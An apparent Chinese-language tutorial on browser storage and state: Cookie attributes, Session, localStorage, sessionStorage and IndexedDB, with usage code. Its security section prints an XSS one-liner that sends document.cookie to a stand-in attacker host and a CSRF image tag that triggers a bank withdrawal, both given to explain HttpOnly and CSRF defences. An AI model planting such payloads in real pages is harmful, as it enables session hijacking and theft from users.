Cookie|Session|LocalStorage|SessionStorage|IndexedDB 详细介绍

836 阅读11分钟

Cookie

Cookie诞生背景

早期互联网只是用于简单的浏览文档信息、查看黄页和门户网站等,并没有交互这个概念;
但是随着互联网慢慢的发展,宽带、服务器等硬件设施得到了很大的提升,互联网允许人们做更多的事情了,所以交互式Web(即客户端与服务器可以互动,如用户登录、商品购买和论坛等)慢慢就兴起了,而HTTP无状态的特点对此造成了严重阻碍;

  • HTTP是无状态的HTTP五大特点之一;

    • 无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态
    • 即给服务器发送HTTP请求之后,服务器会根据请求返回响应数据,但是发送完以后,HTTP不会记录任何信息,服务器便无法知道两个请求是否来自同一个浏览器,用户上一次做了什么,每次请求都是完全独立的(CookieSession孕育而生);
  • 由于HTTP不能记录用户上次的操作,伟大的程序员也发明了隐藏域,用于记录用户上一次的操作信息;

    • 通过隐藏域,把用户上次操作记录放在form表单的input中,当请求时将表单提交,这样就可以知道上一次用户的操作了;
    • 隐藏域作用强大,现在都还有很多人在用它解决各种问题,隐藏域的写法如下:
      <input type="hidden" name="field_name" value="value">
      
    • 但是这样每次都得建隐藏域,并对其赋值,既麻烦又容易出错;
  • 随后,网景公司的卢-蒙特利Lou Montulli,在1994年将Cookies的概念应用于网络通信;

    • 用于解决用户网上购物的购物车历史记录,而当时最强大的浏览器是网景浏览器,之后在网景浏览器的支持下,其他浏览器也逐渐开始支持Cookie,现在所有浏览器都支持Cookie了;

    image.png

什么是Cookie

  • Cookie主要是用于解决HTTP无状态的特性,用于满足交互式Web

  • Cookie是由服务器发给客户端的特殊信息,这些信息以文本文件的形式存储在客户端,客户端每次向服务器发送请求时,都会带上这些特殊信息,用于服务器记录客户端的状态,例如用户登录:

    image.png

  • 由于Cookie是保存在浏览器中的,如用户登录信息,那么用户就可以随意更改用户信息,这是一种不安全的策略;

Cookie属性

image.png

  • Name:表示Cookie的名称,服务器通过Name属性来获取Cookie的值;

  • Value:表示Cookie的值,大多数情况下服务器会把Value当作一个key去缓存中查询保存的数据;

  • Domain:表示可以访问此Cookie的域名,以百度贴吧为例:

    image.png

    • 从上图中可看出,.baidu.com顶级域名.passport.baidu.com二级域名,所以这里有一个访问规则:
      • 顶级域名:只能设置或访问顶级域名的Cookie
      • 二级及以下的域名:只能设置或访问自身或者顶级域名的Cookie
      • 所以如果要在多个二级域名中共享Cookie的话,只能将Domain属性设置为顶级域名;
    • Domain默认值为该Cookie的网页所在的域名;
  • Path:表示可以访问此Cookie的页面路径,比如Path=/test,那么只有/test路径下的页面可以读取此Cookie

    • Path默认值为设置该Cookie的网页所在的目录;
    • 发送跨域请求时,即使url的域名和路径都满足CookieDomainPath,默认情况下Cookie也不会自动添加到请求头部中;
  • Expires / Max-Age

    • Expires
      • expires=w,D M Y h:m:s GMT表示Cookie将在YMDhms秒星期w之后失效,失效的Cookie会被浏览器清空;
      • 未设置Expires时,默认有效期为session,即会话Cookie,浏览器关闭后消失;
      • http 1.0协议中的选项;
    • Max-Age
      • max-age=正数,即Cookie有效期为创建时刻 + max-age
      • max-age=0,即删除Cookie
      • max-age=负数,即Cookie有效期为session
      • http 1.1协议中的选项,替代了expires
  • Size:表示Cookiename + value的字符数,比如有一个Cookieid=666,那么Size=2+3=5

    • 每个浏览器对Cookie的支持都不相同:

      image.png

  • HttpOnly

    • 设置Cookie是否能通过js访问,若为true,则只有在http请求头中会带有此Cookie信息,不能通过JS来访问此Cookie
    • 默认情况下,Cookie不会带HttpOnly选项,客户端可以通过JS代码访问(读取、修改、删除等)该Cookie
    • HttpOnly只能通过服务端设置;
    • 限制客户端访问Cookie,是为了保障安全;
      • 例如:某页面遭受XSS攻击时,有一段恶意脚本插到了网页中,该脚本通过document.cookie读取用户身份验证相关的Cookie,并将这些Cookie发送到攻击者的服务器,攻击者轻而易举地拿到了用户验证信息;
  • Secure

    • 表示是否Cookie只能在确保安全的请求中才会发送,当请求是HTTPS或其他安全协议时,包含Secure选项的Cookie才能被发送至服务器;
    • 若在网页中通过JS设置Secure类型的Cookie(如document.cookie='key=value; secure')时,必须保证网页是HTTPS协议的;

设置Cookie

  • 服务端设置:Set-Cookie=Path=/;Expires=Thu,01-Jan-1970 00:00:00 GMT;...

    • 一个set-cookie只能设置一个Cookie,设置多个Cookie,需要添加多个set-cookie字段;
    • 服务端可以设置Cookie的所有选项:Name|Value|Expires/Max-Age|Domain|Path|HttpOnly|Secure
  • 客户端设置:document.cookie='name=value;expire=...;secure'

    • 一个document.cookie只能设置一个Cookie,设置多个Cookie,需要添加多个document.cookie字段;
    • 客户端可以设置Cookie的选项:Name|Value|Expires/Max-Age|Domain|Path|Secure(只能在HTTPS协议中设置成功)

修改、删除Cookie

  • 修改CookiePath|Domain选项保持一致,其他选项重新赋值,便能修改该Cookie

  • 删除CookiePath|Domain选项保持一致,Expires选项设置为一个过去的时间,或者Max-Age设置为负数,便能删除该Cookie

跨域请求中的Cookie

  • Cookie作为一种credential信息(还有HTTP authentication schemes),发生跨域时,默认情况下是不会被传送给服务器;
  • 除非客户端手动设置xhr.withCredentials = true
  • 服务端也必须允许request能携带认证信息,即在response header中包含Access-Control-Allow-Credentials: true,这样浏览器才会自动将Cookie加在request header中;
  • 并且,服务端不能将Access-Control-Allow-Origin设置为*,而是必须设置为请求页面的域名;

Cookie的问题

  • 由于存储在Cookie中的数据,每次都被浏览器自动放在HTTP请求头中,若这些数据并不是每个请求都需要发给服务器的数据,浏览器设置的自动处理便增加了网络开销;
  • 若这些数据是每个请求都需要携带的数据,浏览器设置的自动处理就免去了重复添加操作;
  • 因此,Cookie中,应该存放每次请求都需要携带的数据(如登录状态信息)
  • 并且由于Cookie是保存在浏览器中的,如用户登录信息,那么用户就可以随意更改用户信息,这是一种不安全的策略

Session

诞生背景

  • 其实设计Cookie之初,它并不是仅仅保存了一个key值,而是直接保存用户的信息;
  • 但是由于Cookie是存在客户端的,存储大小是有限的,最关键的是用户是可见的,并且可以随意地修改,这相当不安全;
  • 为了既安全又方便的读取全局信息,于是诞生了Session这种新的存储会话机制;

什么是Session

  • Session(即会话),服务器会为每个浏览器创建一个会话对象;
  • 浏览器在第一次请求服务器时,服务器会为该浏览器生成一个Session对象,保存在服务端;
  • 并且把SessionIDCookie的形式发送给浏览器,最终以“用户显示结束”或“Session超时”为结束;

Session工作原理

  • 当某个用户向服务器发送第一个请求时,服务器为其建立一个Session,并为此Session创建一个标识号(sessionID);

  • 这个用户之后的所有请求都应包括这个标识号(sessionID),服务器会校验这个标识号,判断该请求属于哪个Session

  • sessionID标识号有两种实现方式:CookieURL重写;

  • Cookie是将数据直接保存在客户端,而Session是将数据保存在服务端,所以Session的安全性更佳;

    image.png

Session应用场景

  • Session主要是服务器端存储,用来描述一些用户信息或者相关的其他数据,只要是你的业务觉得可以绑定到用户或客户端的相关数据,都可以放到Session中;
  • 最基本的场景就是存储用户登录信息;

Session生命周期

  • 创建:
    • 若访问的第一个资源是JSP页面,则创建Session对象;
    • 若访问的第一个资源是Servlet,则需要手动调用request.getSession()方法来创建Session对象;
  • 销毁:调用session.invalidate()方法来销毁Session对象,Session会话超时默认30分钟;

CookieSession关系

  • 都是为了实现客户端与服务端交互而产出;

  • Cookie是保存在客户端,缺点易伪造、不安全;

  • Session是保存在服务端,会消耗服务器资源;

  • Session实现有两种方式:CookieURL重写;

  • Cookie带来的安全性问题:

    • 会话劫持和XSS
      • Web应用中,Cookie常用来标记用户或授权会话;
      • 因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击;
      • 常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击,如:
        (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
        
      • HttpOnly类型的Cookie,由于阻止了JavaScript对其的访问性,从而可以在一定程度上缓解此类攻击;
    • 跨站请求伪造(CSRF):
      • 维基百科已经给了一个比较好的CSRF例子:
        • 比如在不安全聊天室或论2坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">,当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走;
        • 解决CSRF的办法有:隐藏域验证码、确认机制、较短的Cookie生命周期等;

WebStorage

localStorage

  • 特点

    • 生命周期:持久化的本地存储,除非主动删除,否则数据永不过期;
    • 存储的信息在同一域中是共享的
    • 大小:5M
  • 使用

    • 设置:localStorage.setItem('key','value')
    • 获取:
      • 获取valuelocalStorage.getItem('key')
      • 获取第n+1keylocalStorage.key(n)
    • 删除:localStorage.removeItem('key')
    • 清除:localStorage.clear()

sessionStorage

  • 特点

    • 生命周期:会话级别的存储;
      • 存储一个会话的数据,在同一个会话中的页面的数据才能被访问,当会话结束后数据也随之销毁;
    • 大小:5M
  • 使用

    • 设置:sessionStorage.setItem('key', 'value')
    • 获取:
      • 获取valuesessionStorage.getItem('key');;
      • 获取第n+1keysessionStorage.key(n)
    • 删除:sessionStorage.removeItem('key')
    • 清除:sessionStorage.clear()

CookieWebStorage的区别

CookielocalStoragesessionStorage
大小4 KB5 MB5 MB
生命周期Expires/Max-Age,过期时间前均有效持久化存储,除非手动删除会话结束后消失
数据存储数据在每一次HTTP请求时,会携带给服务器只在本地存储只在本地存储
作用域域名&路径一致,共享Cookie协议&主机名&端口一致,共享一份localStorage数据协议&主机名&端口&同一窗口(浏览器的标签页)一致,共享一份sessionStorage数据

IndexedDB

什么是IndexedDB

  • WebStorage(即localStoragesessionStorage)适用于存储少量数据
  • IndexedDB适用于存储大量的结构化数据
  • IndexedDB是基于JavaScript的面向对象的数据库,允许存储和检索用键索引的对象;

IndexedDB使用模式

  • 打开数据库并开始一个事务:

    var db;
    var request = window.indexedDB.open(dbName, version);
    request.onsuccess = function(event) {
        db = request.result;
    }
    
    request.onerror = function(event) {
        alert('error');
    }
    
  • 创建一个object store

    // 在onupgradeneeded事件内操作
    request.onupgradeneeded = function(event) {
        db = event.target.result;
        var objectStore = db.createObjectStore('item', {
            keyPath: 'id',
            autoIncrement: true
        });
        
        /**
         * 创建索引通过id搜索:
         * objectStore.createIndex(indexName, keyPath, objectParameters)
         *    indexName: 创建的索引名,可为空
         *    keyPath: 索引使用的关键路径,可为空
         *    objectParameters: 可选参数,unique标识该字段是否唯一,不能重复 
         */
        objectStore.createIndex('id', 'id', { unique: true });
        
        // 添加信息到数据库
        objectStore.add({ name: 'nnn', age: 'aa'});
    }
    
    // 在onupgradeneeded事件外操作
    // 新建事务
    var transaction = db.transaction(['item'], 'readwrite');
    
    // 创建存储对象
    var objectStore = transaction.objectStore('item');
    
    // 添加数据
    objectStore.add({ name:'nnn', age:'aa' });
    
  • 构建一个请求来执行一些数据库操作(新增或提取数据):

    // 获取数据
    var getRequest = objectStore.get(1);
    
    // 修改数据
    var updateRequest = objectStore.put({ name:'aaa', age: 'gg', id: 1 });
    
    //删除数据
    var deleteRequest = objectStore.delete(1);
    

参考原文:
Cookie&Session
本地存储-cookie|localStorage|sessionStorage|indexedDB